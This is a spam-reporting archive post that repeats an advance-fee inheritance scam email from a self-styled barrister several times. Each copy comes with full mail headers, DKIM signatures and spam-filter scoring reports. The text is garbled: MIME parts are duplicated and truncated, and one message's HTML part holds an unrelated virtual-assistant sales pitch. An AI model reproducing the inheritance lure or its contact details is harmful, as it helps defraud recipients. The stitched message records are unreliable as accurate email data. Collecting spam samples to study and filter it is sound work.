Delivery-date: Thu, 20 Nov 2025 04:27:00 -0700
Received: from doctor by doctor.nl2k.ab.ca with local (Exim 4.98.2 (FreeBSD))
(envelope-from
id 1vM2nw-00000000OLq-3Ag7
for dave@doctor.nl2k.ab.ca;
Thu, 20 Nov 2025 04:26:24 -0700
Resent-From: The Doctor
Resent-Date: Thu, 20 Nov 2025 04:26:24 -0700
Resent-Message-ID:
Resent-To: Dave Yadallee
Received: from mail-lf1-f46.google.com ([209.85.167.46]:52644)
by doctor.nl2k.ab.ca with esmtps (TLS1.3) tls TLS_AES_128_GCM_SHA256
(Exim 4.98.2 (FreeBSD))
(envelope-from
id 1vLxOe-000000006ii-3ILD
for sales@nk.ca;
Wed, 19 Nov 2025 22:40:14 -0700
Received: by mail-lf1-f46.google.com with SMTP id 2adb3069b0e04-5957753e0efso459166e87.1
for
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
d=gmail.com; s=20230601; t=1763617143; x=1764221943; darn=nk.ca;
h=to:subject:message-id:date:from:mime-version:from:to:cc:subject
:date:message-id:reply-to;
bh=YvBWbOfg5p1Y44hmgbwnTb+EXt0ggU8PpUMyLiB83Qo=;
b=khNmfp6au3d+VmxodcsSIbLc8/4xwUQf4x96HUcaEuT5/PhmHilC/72RPkiWSJxTNe
4PL86nMJ6p+G/ZqMWYoNUqU8C8KGqqOO9JJyNUICZe7UsVsxvh57WbLqdgCOgH78lnc9
WaWPIFjWD1AQCJ36BcrF+my5ydcV56PVJY7/XwVVN1F4ZzHPehMijMP3vCTI59txqZU+
3+zVBGTEE4UqtEeLfJKFYjxvUTGB08+L7fXVPRP2nZiCzw7moGQ3WBRd+Of3MAdbyNMs
dfxwfByYQvMLkcg8AvcgyWSydu+UEWN/Xtyyhnfgxu4riywfdzNYPypy9vMIsDdsCpjK
3w6g==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
d=1e100.net; s=20230601; t=1763617143; x=1764221943;
h=to:subject:message-id:date:from:mime-version:x-gm-gg
:x-gm-message-state:from:to:cc:subject:date:message-id:reply-to;
bh=YvBWbOfg5p1Y44hmgbwnTb+EXt0ggU8PpUMyLiB83Qo=;
b=BL5xWbIuE/lzu91j87Azn8/VRk6zA2dh7lx7ZNtjsGMHwhxpjyJGWtblFcYT8TJJYU
dI7UZmDCSEipYCWyzmnbAZJNLCFSeESyGl859s/4ju7Vw37+6vJbtBzcS160tzgDD0AL
531RbSZ0iiPm+INgBfK1ymdXE0XhBXu8qz9dTcm7XAsksCUiKGbQJciIY1kLwN3M6RBb
67BvRdnUP2GqxEMxm1o3z+c0tha+tUON2/tv5Y3lcI66u+P1KQwtfPjsQIW0ytoFrv/8
fQZVLAU9m8Sogdm6DDSQlZ2zgItpc7tTZfZsj/zzlLx3WzQ7Qxe1IGF6nsGh3gjg+50e
tQfg==
X-Forwarded-Encrypted: i=1; AJvYcCXH+7SzcnK7lHNDze7muTsdhihDPHg2zqRa52lxXHBkYo+ZoARL6OSuY8rbHVsWGfD64fAAvA==@nk.ca
X-Gm-Message-State: AOJu0Yw/53qReKVf+1COOhcPpHM/lEfOYS2OTavyHEGJfH8W4jb8eSvb
xX3JxnrY+1ugO6LIfqW4zjmGbFb/wy9cqG/AfNxX9+Q06q293EzqhFeqzJrn2qgRvFbKcjf1ChQ
IjC51qX3ldII2tYZSrGB/Vv5i59XoHtU=
X-Gm-Gg: ASbGncsewUx/0DyFScUzcFvujEuXWlJ/u2DsYI2dMB5ButTMRdS7P14Che+X4KLuIKu
tDOzKMVrrsFT2NF1l/xb3/B5iKmFey2CaRlCKFcdt9gJvnpoMSqCP3f8CrcN0xULRngvimmkxrr
ZDahJWMx96tGC6JuaXeGiMH5mx0luUFWphAue0Ie1I7zPA12ht/5NSWNy5DKThHPN7F9AT5q6CK
dTyMT/7qLoxO9U8es6Z1/IM+pN4lq0Hb7b8Vceju1iQEzdtQ6VJaKCTk+KtWRifHv7f7wywSTIX
FSNpq150s0JCEKmmNFWyjz/6AjDdn09K
X-Google-Smtp-Source: AGHT+IGAEZJYw6vJDpQPTxLY26mpxkxLj82iR6iftX/2owtkrcF3ZxaLE0yq36iWxLxxr02JP/ipX3aBvQYlNdqpOa0=
X-Received: by 2002:a05:6512:3b98:b0:594:2835:e73e with SMTP id
2adb3069b0e04-5969e30d863mr467677e87.37.1763617142512; Wed, 19 Nov 2025
21:39:02 -0800 (PST)
MIME-Version: 1.0
From: Kokou Agboyibo
Date: Thu, 20 Nov 2025 05:38:46 +0000
X-Gm-Features: AWmQ_bk_33O7jn_tqKYw8irc6-2nBnn6HCVBpImIn7iZA6ToeLYsspxXINx1Jhw
Message-ID:
Subject: Best regards
To: undisclosed-recipients:;
Content-Type: multipart/alternative; boundary="0000000000004c9f920644001dd3"
Bcc: sales@nk.ca
X-Spam_score: 6.1
X-Spam_score_int: 61
X-Spam_bar: ++++++
X-Spam_report: Spam detection software, running on the system "doctor.nl2k.ab.ca",
has identified this incoming email as possible spam. The original
message has been attached to this so you can view it or label
similar future email. If you have any questions, see
@@CONTACT_ADDRESS@@ for details.
Content preview: I sent you this letter days ago about the inheritance, Please
contact me for more details. Best regards, Barrister Kokou Agboyibo. (+228
99 72 79 24) I sent you this letter days ago about the inheritance, Please
contact me for more details.
Content analysis details: (6.1 points, 5.0 required)
pts rule name description
---- ---------------------- --------------------------------------------------
1.0 RCVD_IN_WSFF RBL: Received via a relay in will-spam-for-food.eu.org
[209.85.167.46 listed in will-spam-for-food.eu.org]
[209.85.167.46 listed in will-spam-for-food.eu.org]
[209.85.167.46 listed in will-spam-for-food.eu.org]
[209.85.167.46 listed in will-spam-for-food.eu.org]
[209.85.167.46 listed in will-spam-for-food.eu.org]
[209.85.167.46 listed in will-spam-for-food.eu.org]
[209.85.167.46 listed in will-spam-for-food.eu.org]
[209.85.167.46 listed in will-spam-for-food.eu.org]
1.5 RCVD_IN_AHBL RBL: AHBL: sender is listed in dnsbl.ahbl.org
[209.85.167.46 listed in dnsbl.ahbl.org]
[209.85.167.46 listed in dnsbl.ahbl.org]
[209.85.167.46 listed in dnsbl.ahbl.org]
[209.85.167.46 listed in dnsbl.ahbl.org]
0.0 RCVD_IN_AHBL_RTB RBL: AHBL: Real-Time Blocked in dnsbl.ahbl.org
[209.85.167.46 listed in dnsbl.ahbl.org]
0.5 RCVD_IN_AHBL_SMTP RBL: AHBL: Open SMTP relay in dnsbl.ahbl.org
[209.85.167.46 listed in dnsbl.ahbl.org]
1.5 RCVD_IN_AHBL_SPAM RBL: AHBL: Spam Source in dnsbl.ahbl.org
[209.85.167.46 listed in dnsbl.ahbl.org]
0.5 RCVD_IN_AHBL_PROXY RBL: AHBL: Open Proxy server in dnsbl.ahbl.org
[209.85.167.46 listed in dnsbl.ahbl.org]
-0.0 SPF_PASS SPF: sender matches SPF record
-0.1 DKIM_VALID Message has at least one valid DKIM or DK signature
0.1 DKIM_SIGNED Message has a DKIM or DK signature, not necessarily valid
-0.1 DKIM_VALID_EF Message has a valid DKIM or DK signature from
envelope-from domain
-0.1 DKIM_VALID_AU Message has a valid DKIM or DK signature from author's
domain
1.5 GR_DOMAIN_UNDISC1 To contains undisclosed recipient (undisc)
-0.0 RCVD_IN_DNSWL_NONE RBL: Sender listed at http://www.dnswl.org/, no
trust
[209.85.167.46 listed in list.dnswl.org]
-0.2 RCVD_IN_MSPIKE_H2 RBL: Average reputation (+2)
[209.85.167.46 listed in wl.mailspike.net]
0.0 FREEMAIL_FROM Sender email is commonly abused enduser mail provider
[kokou.esq(at)gmail.com]
0.0 HTML_MESSAGE BODY: HTML included in message
0.0 HTML_FONT_SIZE_HUGE BODY: HTML font size is huge
Subject: {SPAM?} Best regards
--0000000000004c9f920644001dd3
Content-Type: text/plain; charset="UTF-8"
I sent you this letter days ago about the inheritance, Please contact me
for more details.
Best regards,
Barrister Kokou Agboyibo.
(+228 99 72 79 24)
--0000000000004c9f920644001dd3
Content-Type: text/html; charset="UTF-8"
Content-Transfer-Encoding: quoted-printable
I sent you this =
letter days ago about the inheritance, Please contact me for more details.<=
/span>
gia,serif">Best regards,
r style=3D"font-family:georgia,serif">
rif">Barrister Kokou Agboyibo.
">(+228 99 72 79 24)
div>
--0000000000004c9f920644001dd3--
letter days ago about the inheritance, Please contact me for more details.<=
/span>
gia,serif">Best regards,
r style=3D"font-family:georgia,serif">
rif">Barrister Kokou Agboyibo.
">(+228 99 72 79 24)
div>
--0000000000004c9f920644001dd3--
Nigerian spam from Google Gmail
Posted by Dave Yadallee on
Return-path:
Envelope-to: dave@doctor.nl2k.ab.ca
Delivery-date: Thu, 20 Nov 2025 04:27:00 -0700
Received: from doctor by doctor.nl2k.ab.ca with local (Exim 4.98.2 (FreeBSD))
(envelope-from)
id 1vM2o1-00000000OMG-0QMy
for dave@doctor.nl2k.ab.ca;
Thu, 20 Nov 2025 04:26:29 -0700
Resent-From: The Doctor
Resent-Date: Thu, 20 Nov 2025 04:26:29 -0700
Resent-Message-ID:
Resent-To: Dave Yadallee
Received: from mail-lf1-f42.google.com ([209.85.167.42]:53587)
by doctor.nl2k.ab.ca with esmtps (TLS1.3) tls TLS_AES_128_GCM_SHA256
(Exim 4.98.2 (FreeBSD))
(envelope-from)
id 1vLxOe-000000006ih-3MqX
for doctor@nl2k.ab.ca;
Wed, 19 Nov 2025 22:40:14 -0700
Received: by mail-lf1-f42.google.com with SMTP id 2adb3069b0e04-5969c5af23bso422729e87.3
for; Wed, 19 Nov 2025 21:39:09 -0800 (PST)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
d=gmail.com; s=20230601; t=1763617143; x=1764221943; darn=nl2k.ab.ca;
h=to:subject:message-id:date:from:mime-version:from:to:cc:subject
:date:message-id:reply-to;
bh=YvBWbOfg5p1Y44hmgbwnTb+EXt0ggU8PpUMyLiB83Qo=;
b=V8NctnMuFyODQMJBA3QB+M65dT8ybGERqkM2XKsMDXjgTEaOsXPhZv9rqwHzZOYczH
zOK9+Ua7bPxrhwrN/aK0Ow1u6hGv8WqeFnk7Uk0JSqO5iKAzXIO235B6afFpCZ8dzQRA
5YgosBlxJUxJX4o4FBN/esg9D6w2hsr4QKuMu690/hLSzt2+gyiW2+LPOfZ1DA3yWLGi
E7pQXz6S8+p/bW4qxCYJICYxpEFSWzxidweJgkzVtOlASqfZdfdQGzQlZUNNyF2T2rRv
F/Amae87Q3WS5Ebzqsp9hyRiHcvZu5hXjqmClwYIU3/DUBxQ2DB8czMjZwcsu+ET3uYD
1iFw==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
d=1e100.net; s=20230601; t=1763617143; x=1764221943;
h=to:subject:message-id:date:from:mime-version:x-gm-gg
:x-gm-message-state:from:to:cc:subject:date:message-id:reply-to;
bh=YvBWbOfg5p1Y44hmgbwnTb+EXt0ggU8PpUMyLiB83Qo=;
b=Zeb8IPTzCFzowTerHU85IZNB27gErds6TvlcYGkVVS0FiRGq0uk6WcEIr93bV5t21o
izAPbZPRAzGMPbhyEZRw9QASDqTJY1KX90QI2+6QDfj24cwKRhDLvEJbiFSQOe6MZy1d
WTG1vwCYuq1nkDKMGVG4qhFxkYWEC+9LL2bcN6sqfsN0P8foxa/Q3sdAIQ8SosFyWSAf
kx5xCjlw6NWqwGhL4vvxUK8rR0oW8o8b+YukkVVOz5YZuXIdkP6mip3cKgYR7cFSHBkJ
eJ7V8/WRqe7m4h07ty87PYr7qpE5fiarsKXla/lX6IeYxZ3wUBuEjPcXcVFUMrp9gE1L
l3vw==
X-Forwarded-Encrypted: i=1; AJvYcCX/TzJA4BN7lDF6TpOkDoLjAakqZSS619tHQ/gPgy/iRGcK04bjLJwEGy10oEFrvJlg5sc5+1g=@nl2k.ab.ca
X-Gm-Message-State: AOJu0YyXuzaRKty4NSJXG2AzmFiEczRHKAOxhYzLu8zuTwa8MAh1ROsk
s6/EdmGN2+BGGFE5/eMq8qs4H8Zeo/4SWwbs8m6foSNqf0pD4rY2OmGB0BhLmss1XsL3imqe7S2
wjdXoZOcA7HxrwhLSLe70bJ6iaa9Jzgo=
X-Gm-Gg: ASbGncvfKNMoPLQNsne0nEqKyc2WcMksI7j67zfVDcZmZoC5NCXx1Tu2yQX++sbp10A
VzYN9w00CIDDS91ehvszQnvd/b/P9ssdOrH7a21nRAkCBvDpaUwKK5L8jXVr+KjZXtzoFH3AugZ
WwMHvGEwelDXXqt/+1UpbaZmbJAFqg00lvtrfxYNqG1GCDHgQlGEheRhGrjzg0WTbWx4OPAA2I8
Je33MRd0inHDciFKv0PjN3FaEAu5j6P5dfKiXi1J7vSOwwUBwLM6AI+WP9Buob0mSfcy2zfVlJJ
x+c3Hs3M2xnM10ekRW3Ieh8TNJ+x72p9
X-Google-Smtp-Source: AGHT+IGAEZJYw6vJDpQPTxLY26mpxkxLj82iR6iftX/2owtkrcF3ZxaLE0yq36iWxLxxr02JP/ipX3aBvQYlNdqpOa0=
X-Received: by 2002:a05:6512:3b98:b0:594:2835:e73e with SMTP id
2adb3069b0e04-5969e30d863mr467677e87.37.1763617142512; Wed, 19 Nov 2025
21:39:02 -0800 (PST)
MIME-Version: 1.0
From: Kokou Agboyibo
Date: Thu, 20 Nov 2025 05:38:46 +0000
X-Gm-Features: AWmQ_bk_33O7jn_tqKYw8irc6-2nBnn6HCVBpImIn7iZA6ToeLYsspxXINx1Jhw
Message-ID:
Subject: Best regards
To: undisclosed-recipients:;
Content-Type: multipart/alternative; boundary="0000000000004c9f920644001dd3"
Bcc: doctor@nl2k.ab.ca
X-Spam_score: 6.1
X-Spam_score_int: 61
X-Spam_bar: ++++++
X-Spam_report: Spam detection software, running on the system "doctor.nl2k.ab.ca",
has identified this incoming email as possible spam. The original
message has been attached to this so you can view it or label
similar future email. If you have any questions, see
@@CONTACT_ADDRESS@@ for details.
Content preview: I sent you this letter days ago about the inheritance, Please
contact me for more details. Best regards, Barrister Kokou Agboyibo. (+228
99 72 79 24) I sent you this letter days ago about the inheritance, Please
contact me for more details.
Content analysis details: (6.1 points, 5.0 required)
pts rule name description
---- ---------------------- --------------------------------------------------
1.0 RCVD_IN_WSFF RBL: Received via a relay in will-spam-for-food.eu.org
[209.85.167.42 listed in will-spam-for-food.eu.org]
[209.85.167.42 listed in will-spam-for-food.eu.org]
[209.85.167.42 listed in will-spam-for-food.eu.org]
[209.85.167.42 listed in will-spam-for-food.eu.org]
[209.85.167.42 listed in will-spam-for-food.eu.org]
[209.85.167.42 listed in will-spam-for-food.eu.org]
[209.85.167.42 listed in will-spam-for-food.eu.org]
[209.85.167.42 listed in will-spam-for-food.eu.org]
1.5 RCVD_IN_AHBL RBL: AHBL: sender is listed in dnsbl.ahbl.org
[209.85.167.42 listed in dnsbl.ahbl.org]
[209.85.167.42 listed in dnsbl.ahbl.org]
[209.85.167.42 listed in dnsbl.ahbl.org]
[209.85.167.42 listed in dnsbl.ahbl.org]
0.5 RCVD_IN_AHBL_PROXY RBL: AHBL: Open Proxy server in dnsbl.ahbl.org
[209.85.167.42 listed in dnsbl.ahbl.org]
1.5 RCVD_IN_AHBL_SPAM RBL: AHBL: Spam Source in dnsbl.ahbl.org
[209.85.167.42 listed in dnsbl.ahbl.org]
0.5 RCVD_IN_AHBL_SMTP RBL: AHBL: Open SMTP relay in dnsbl.ahbl.org
[209.85.167.42 listed in dnsbl.ahbl.org]
0.0 RCVD_IN_AHBL_RTB RBL: AHBL: Real-Time Blocked in dnsbl.ahbl.org
[209.85.167.42 listed in dnsbl.ahbl.org]
-0.0 RCVD_IN_DNSWL_NONE RBL: Sender listed at http://www.dnswl.org/, no
trust
[209.85.167.42 listed in list.dnswl.org]
-0.0 SPF_PASS SPF: sender matches SPF record
-0.2 RCVD_IN_MSPIKE_H2 RBL: Average reputation (+2)
[209.85.167.42 listed in wl.mailspike.net]
-0.1 DKIM_VALID Message has at least one valid DKIM or DK signature
0.1 DKIM_SIGNED Message has a DKIM or DK signature, not necessarily valid
-0.1 DKIM_VALID_EF Message has a valid DKIM or DK signature from
envelope-from domain
-0.1 DKIM_VALID_AU Message has a valid DKIM or DK signature from author's
domain
1.5 GR_DOMAIN_UNDISC1 To contains undisclosed recipient (undisc)
0.0 FREEMAIL_FROM Sender email is commonly abused enduser mail provider
[barrister.k.esq(at)gmail.com]
0.0 HTML_MESSAGE BODY: HTML included in message
0.0 HTML_FONT_SIZE_HUGE BODY: HTML font size is huge
Subject: {SPAM?} Best regards
--0000000000004c9f920644001dd3
Content-Type: text/plain; charset="UTF-8"
I sent you this letter days ago about the inheritance, Please contact me
for more details.
Best regards,
Barrister Kokou Agboyibo.
(+228 99 72 79 24)
--0000000000004c9f920644001dd3
Content-Type: text/html; charset="UTF-8"
Content-Transfer-Encoding: quoted-printable
amily: Calibri, sans-serif; font-size: 11pt;">
Just checking in =97 would you be open to a quick 10-min chat to see how I =
can support your daily workflow?
Best,
amily: Calibri, sans-serif; font-size: 11pt;">
Milton
gn=3D"center">
amily: Calibri, sans-serif; font-size: 11pt;">
From: Milton Thomas
Sent: 13 November 2025 22:08
Subject: Virtual Assistant support for your team
amily: Calibri, sans-serif; font-size: 11pt;">
amily: Calibri, sans-serif; font-size: 11pt;">
Hi,
amily: Calibri, sans-serif; font-size: 11pt;">
I help busy professionals manage emails, admin, and social media efficientl=
y.
amily: Calibri, sans-serif; font-size: 11pt;">
Would you like me to share how I can support your daily workflow remotely?<=
/p>
amily: Calibri, sans-serif; font-size: 11pt;">
Best regards,
amily: Calibri, sans-serif; font-size: 11pt;">
Milton
amily: Calibri, sans-serif; font-size: 11pt;">
--_000_SEZPR01MB5748C32E104D6E3C0F6AD7FF87D7ASEZPR01MB5748apcp_--
Envelope-to: dave@doctor.nl2k.ab.ca
Delivery-date: Thu, 20 Nov 2025 04:27:00 -0700
Received: from doctor by doctor.nl2k.ab.ca with local (Exim 4.98.2 (FreeBSD))
(envelope-from
id 1vM2o1-00000000OMG-0QMy
for dave@doctor.nl2k.ab.ca;
Thu, 20 Nov 2025 04:26:29 -0700
Resent-From: The Doctor
Resent-Date: Thu, 20 Nov 2025 04:26:29 -0700
Resent-Message-ID:
Resent-To: Dave Yadallee
Received: from mail-lf1-f42.google.com ([209.85.167.42]:53587)
by doctor.nl2k.ab.ca with esmtps (TLS1.3) tls TLS_AES_128_GCM_SHA256
(Exim 4.98.2 (FreeBSD))
(envelope-from
id 1vLxOe-000000006ih-3MqX
for doctor@nl2k.ab.ca;
Wed, 19 Nov 2025 22:40:14 -0700
Received: by mail-lf1-f42.google.com with SMTP id 2adb3069b0e04-5969c5af23bso422729e87.3
for
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
d=gmail.com; s=20230601; t=1763617143; x=1764221943; darn=nl2k.ab.ca;
h=to:subject:message-id:date:from:mime-version:from:to:cc:subject
:date:message-id:reply-to;
bh=YvBWbOfg5p1Y44hmgbwnTb+EXt0ggU8PpUMyLiB83Qo=;
b=V8NctnMuFyODQMJBA3QB+M65dT8ybGERqkM2XKsMDXjgTEaOsXPhZv9rqwHzZOYczH
zOK9+Ua7bPxrhwrN/aK0Ow1u6hGv8WqeFnk7Uk0JSqO5iKAzXIO235B6afFpCZ8dzQRA
5YgosBlxJUxJX4o4FBN/esg9D6w2hsr4QKuMu690/hLSzt2+gyiW2+LPOfZ1DA3yWLGi
E7pQXz6S8+p/bW4qxCYJICYxpEFSWzxidweJgkzVtOlASqfZdfdQGzQlZUNNyF2T2rRv
F/Amae87Q3WS5Ebzqsp9hyRiHcvZu5hXjqmClwYIU3/DUBxQ2DB8czMjZwcsu+ET3uYD
1iFw==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
d=1e100.net; s=20230601; t=1763617143; x=1764221943;
h=to:subject:message-id:date:from:mime-version:x-gm-gg
:x-gm-message-state:from:to:cc:subject:date:message-id:reply-to;
bh=YvBWbOfg5p1Y44hmgbwnTb+EXt0ggU8PpUMyLiB83Qo=;
b=Zeb8IPTzCFzowTerHU85IZNB27gErds6TvlcYGkVVS0FiRGq0uk6WcEIr93bV5t21o
izAPbZPRAzGMPbhyEZRw9QASDqTJY1KX90QI2+6QDfj24cwKRhDLvEJbiFSQOe6MZy1d
WTG1vwCYuq1nkDKMGVG4qhFxkYWEC+9LL2bcN6sqfsN0P8foxa/Q3sdAIQ8SosFyWSAf
kx5xCjlw6NWqwGhL4vvxUK8rR0oW8o8b+YukkVVOz5YZuXIdkP6mip3cKgYR7cFSHBkJ
eJ7V8/WRqe7m4h07ty87PYr7qpE5fiarsKXla/lX6IeYxZ3wUBuEjPcXcVFUMrp9gE1L
l3vw==
X-Forwarded-Encrypted: i=1; AJvYcCX/TzJA4BN7lDF6TpOkDoLjAakqZSS619tHQ/gPgy/iRGcK04bjLJwEGy10oEFrvJlg5sc5+1g=@nl2k.ab.ca
X-Gm-Message-State: AOJu0YyXuzaRKty4NSJXG2AzmFiEczRHKAOxhYzLu8zuTwa8MAh1ROsk
s6/EdmGN2+BGGFE5/eMq8qs4H8Zeo/4SWwbs8m6foSNqf0pD4rY2OmGB0BhLmss1XsL3imqe7S2
wjdXoZOcA7HxrwhLSLe70bJ6iaa9Jzgo=
X-Gm-Gg: ASbGncvfKNMoPLQNsne0nEqKyc2WcMksI7j67zfVDcZmZoC5NCXx1Tu2yQX++sbp10A
VzYN9w00CIDDS91ehvszQnvd/b/P9ssdOrH7a21nRAkCBvDpaUwKK5L8jXVr+KjZXtzoFH3AugZ
WwMHvGEwelDXXqt/+1UpbaZmbJAFqg00lvtrfxYNqG1GCDHgQlGEheRhGrjzg0WTbWx4OPAA2I8
Je33MRd0inHDciFKv0PjN3FaEAu5j6P5dfKiXi1J7vSOwwUBwLM6AI+WP9Buob0mSfcy2zfVlJJ
x+c3Hs3M2xnM10ekRW3Ieh8TNJ+x72p9
X-Google-Smtp-Source: AGHT+IGAEZJYw6vJDpQPTxLY26mpxkxLj82iR6iftX/2owtkrcF3ZxaLE0yq36iWxLxxr02JP/ipX3aBvQYlNdqpOa0=
X-Received: by 2002:a05:6512:3b98:b0:594:2835:e73e with SMTP id
2adb3069b0e04-5969e30d863mr467677e87.37.1763617142512; Wed, 19 Nov 2025
21:39:02 -0800 (PST)
MIME-Version: 1.0
From: Kokou Agboyibo
Date: Thu, 20 Nov 2025 05:38:46 +0000
X-Gm-Features: AWmQ_bk_33O7jn_tqKYw8irc6-2nBnn6HCVBpImIn7iZA6ToeLYsspxXINx1Jhw
Message-ID:
Subject: Best regards
To: undisclosed-recipients:;
Content-Type: multipart/alternative; boundary="0000000000004c9f920644001dd3"
Bcc: doctor@nl2k.ab.ca
X-Spam_score: 6.1
X-Spam_score_int: 61
X-Spam_bar: ++++++
X-Spam_report: Spam detection software, running on the system "doctor.nl2k.ab.ca",
has identified this incoming email as possible spam. The original
message has been attached to this so you can view it or label
similar future email. If you have any questions, see
@@CONTACT_ADDRESS@@ for details.
Content preview: I sent you this letter days ago about the inheritance, Please
contact me for more details. Best regards, Barrister Kokou Agboyibo. (+228
99 72 79 24) I sent you this letter days ago about the inheritance, Please
contact me for more details.
Content analysis details: (6.1 points, 5.0 required)
pts rule name description
---- ---------------------- --------------------------------------------------
1.0 RCVD_IN_WSFF RBL: Received via a relay in will-spam-for-food.eu.org
[209.85.167.42 listed in will-spam-for-food.eu.org]
[209.85.167.42 listed in will-spam-for-food.eu.org]
[209.85.167.42 listed in will-spam-for-food.eu.org]
[209.85.167.42 listed in will-spam-for-food.eu.org]
[209.85.167.42 listed in will-spam-for-food.eu.org]
[209.85.167.42 listed in will-spam-for-food.eu.org]
[209.85.167.42 listed in will-spam-for-food.eu.org]
[209.85.167.42 listed in will-spam-for-food.eu.org]
1.5 RCVD_IN_AHBL RBL: AHBL: sender is listed in dnsbl.ahbl.org
[209.85.167.42 listed in dnsbl.ahbl.org]
[209.85.167.42 listed in dnsbl.ahbl.org]
[209.85.167.42 listed in dnsbl.ahbl.org]
[209.85.167.42 listed in dnsbl.ahbl.org]
0.5 RCVD_IN_AHBL_PROXY RBL: AHBL: Open Proxy server in dnsbl.ahbl.org
[209.85.167.42 listed in dnsbl.ahbl.org]
1.5 RCVD_IN_AHBL_SPAM RBL: AHBL: Spam Source in dnsbl.ahbl.org
[209.85.167.42 listed in dnsbl.ahbl.org]
0.5 RCVD_IN_AHBL_SMTP RBL: AHBL: Open SMTP relay in dnsbl.ahbl.org
[209.85.167.42 listed in dnsbl.ahbl.org]
0.0 RCVD_IN_AHBL_RTB RBL: AHBL: Real-Time Blocked in dnsbl.ahbl.org
[209.85.167.42 listed in dnsbl.ahbl.org]
-0.0 RCVD_IN_DNSWL_NONE RBL: Sender listed at http://www.dnswl.org/, no
trust
[209.85.167.42 listed in list.dnswl.org]
-0.0 SPF_PASS SPF: sender matches SPF record
-0.2 RCVD_IN_MSPIKE_H2 RBL: Average reputation (+2)
[209.85.167.42 listed in wl.mailspike.net]
-0.1 DKIM_VALID Message has at least one valid DKIM or DK signature
0.1 DKIM_SIGNED Message has a DKIM or DK signature, not necessarily valid
-0.1 DKIM_VALID_EF Message has a valid DKIM or DK signature from
envelope-from domain
-0.1 DKIM_VALID_AU Message has a valid DKIM or DK signature from author's
domain
1.5 GR_DOMAIN_UNDISC1 To contains undisclosed recipient (undisc)
0.0 FREEMAIL_FROM Sender email is commonly abused enduser mail provider
[barrister.k.esq(at)gmail.com]
0.0 HTML_MESSAGE BODY: HTML included in message
0.0 HTML_FONT_SIZE_HUGE BODY: HTML font size is huge
Subject: {SPAM?} Best regards
--0000000000004c9f920644001dd3
Content-Type: text/plain; charset="UTF-8"
I sent you this letter days ago about the inheritance, Please contact me
for more details.
Best regards,
Barrister Kokou Agboyibo.
(+228 99 72 79 24)
--0000000000004c9f920644001dd3
Content-Type: text/html; charset="UTF-8"
Content-Transfer-Encoding: quoted-printable
I sent you this =
letter days ago about the inheritance, Please contact me for more details.<=
/span>
gia,serif">Best regards,
r style=3D"font-family:georgia,serif">
rif">Barrister Kokou Agboyibo.
">(+228 99 72 79 24)
div>
--0000000000004c9f920644001dd3--
letter days ago about the inheritance, Please contact me for more details.<=
/span>
gia,serif">Best regards,
r style=3D"font-family:georgia,serif">
rif">Barrister Kokou Agboyibo.
">(+228 99 72 79 24)
div>
--0000000000004c9f920644001dd3--
Nigerian spam from Google Gmail
Posted by Dave Yadallee on
Return-path:
Envelope-to: dave@doctor.nl2k.ab.ca
Delivery-date: Thu, 20 Nov 2025 04:27:00 -0700
Received: from doctor by doctor.nl2k.ab.ca with local (Exim 4.98.2 (FreeBSD))
(envelope-from)
id 1vM2o6-00000000OMs-2uI4
for dave@doctor.nl2k.ab.ca;
Thu, 20 Nov 2025 04:26:34 -0700
Resent-From: The Doctor
Resent-Date: Thu, 20 Nov 2025 04:26:34 -0700
Resent-Message-ID:
Resent-To: Dave Yadallee
Received: from mail-lj1-f172.google.com ([209.85.208.172]:43121)
by doctor.nl2k.ab.ca with esmtps (TLS1.3) tls TLS_AES_128_GCM_SHA256
(Exim 4.98.2 (FreeBSD))
(envelope-from)
id 1vLxOy-000000006lU-3n4p
for doctor@doctor.nl2k.ab.ca;
Wed, 19 Nov 2025 22:40:26 -0700
Received: by mail-lj1-f172.google.com with SMTP id 38308e7fff4ca-37bbb36c990so13535831fa.0
for; Wed, 19 Nov 2025 21:39:31 -0800 (PST)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
d=gmail.com; s=20230601; t=1763617165; x=1764221965; darn=doctor.nl2k.ab.ca;
h=to:subject:message-id:date:from:mime-version:from:to:cc:subject
:date:message-id:reply-to;
bh=Ic/JoPFzOisH+W72GL2kc2wCJu53Zbq+eihXcLh0J9E=;
b=jU2AgQMnJYy57zOj7VfsUHoHEHjDCCo74SLi0Vp5OrSBOvD7hQ7+7/YUdbn0leRb0E
pu3rv/L5PIwjmxHP8gl0o0hdgVKOaToMIzAxyfWgFumAkuT33uETzxiiS4QMU6CNeyIb
iycooWx38QYyTFUF4avLsAKktIa0Rj2O241t3iXPeyF03x1HnGHiSft95s2rWwOYTe5C
aSeqBe76TOYEZOTuj4pKGrgWZbsf37BUIsSpeJ87bz0HPucJPfm2GgxXmXqG7DTqRfwm
2RMlseD6faCyB7+w/G7ujWPYey00FqAuSV1k2NbgvVcqDHK0tBJpa2F3wDOFYIUhCxc1
1jWA==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
d=1e100.net; s=20230601; t=1763617165; x=1764221965;
h=to:subject:message-id:date:from:mime-version:x-gm-gg
:x-gm-message-state:from:to:cc:subject:date:message-id:reply-to;
bh=Ic/JoPFzOisH+W72GL2kc2wCJu53Zbq+eihXcLh0J9E=;
b=dOQ67FPNpunUrtx5bEp2GbZWLJjMYzfjroXBMixVNGggE6aNh6LkQdP1S1C/m1I2vZ
pb+18+9JKKbsHOpzf/fE69YN2at/hknJyb41MAMKhxBR/vs+rMgsomFhlUQ1CzSSlB9X
CT+S5jbVjbM4jES+djDNvNmuIwNfZaXyOK2duBWA7ewMYasaHrvIgqrsrAo7uBwgq+mP
xgUDkaXaBMkM1ZSS4FOmNnYVx7YX8qR/e647rLJRCImhy0B/hh/ts8PIux4bnyAIGnZb
BAlGWuMzPhdFMrLfIPVPSqRj4BM+YxQE811k/PT7XTvDuceIkVYY2jiEz9jD5CDP52NE
yT3A==
X-Forwarded-Encrypted: i=1; AJvYcCV5hUPbyeKurjPO/SgsmvwqZBY71aC/kIWskwQAbHrHVLPUcFUQMwvv6NUMyg8LinLk4nxsMOQ=@doctor.nl2k.ab.ca
X-Gm-Message-State: AOJu0YyC/yL9TZgzuAXzcDcmPyw3OOGz23HmPC8oyB8ZQ1k0y4UovuU/
